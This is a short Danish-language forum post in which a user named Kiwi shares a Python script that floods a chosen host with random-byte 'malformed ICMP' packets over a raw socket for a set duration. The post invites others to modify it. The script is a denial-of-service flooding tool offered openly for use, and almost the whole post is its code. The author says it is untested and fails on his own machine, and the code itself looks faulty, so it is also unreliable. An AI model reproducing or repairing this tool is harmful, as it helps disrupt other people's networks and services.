24-11-2015, 18:33
Hej shellsec!
Jeg skrev et python flooding script som sender en masse malformed ICMP requests. Har ikke for alvor testet programmet. I velkommen til at modificere scriptet.
scriptet virker ikke på min hjemme-computer. Skriv venligst hvis det ikke virker for dig.
// Kiwi
Jeg skrev et python flooding script som sender en masse malformed ICMP requests. Har ikke for alvor testet programmet. I velkommen til at modificere scriptet.
Kode:
import socket
import random
import time
import os
print(".######...####...##...##..##...##...####...##.....")
print("...##....##..##..###.###..###.###..##..##..##.....")
print("...##....##......##.#.##..##.#.##..######..##.....")
print("...##....##..##..##...##..##...##..##..##..##.....")
print(".######...####...##...##..##...##..##..##..######.")
print("..................................................")
print(".............Malformed ICMP - By KIWI.............")
print("")
target = raw_input("Host (URL or IP): ")
port = 80
print("======")
package = input("Packet Size: ")
print("======")
duration = input("Duration (Seconds): ")
print("======")
durclock = (lambda:0, time.clock)[duration > 0]
duration = (1, (durclock() + duration))[duration > 0]
packet = random._urandom(package)
count = 0
#--------------------------------------------------------------
icmp = socket.getprotobyname("icmp")
picmp = socket.getprotobyname("icmp")
mySocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)
myID = os.getpid() & 0x0800
#--------------------------------------------------------------
print("---")
print("An ICMP flood started on %s with %s bytes for %s seconds." % (target, package, duration))
while True:
if (durclock() < duration):
#-----------------------------------------------------------------------
mySocket.connect((target, port))
mySocket.sendto(packet, (target, port))
count = count + 1
print("[+ %s +] Sending malformed ICMP to %s on port %s" % (count, target, port))
#-----------------------------------------------------------------------
else:
break
print("=============================================")
print("%s packets sent to %s for %s seconds." % (count, target, duration))
scriptet virker ikke på min hjemme-computer. Skriv venligst hvis det ikke virker for dig.
// Kiwi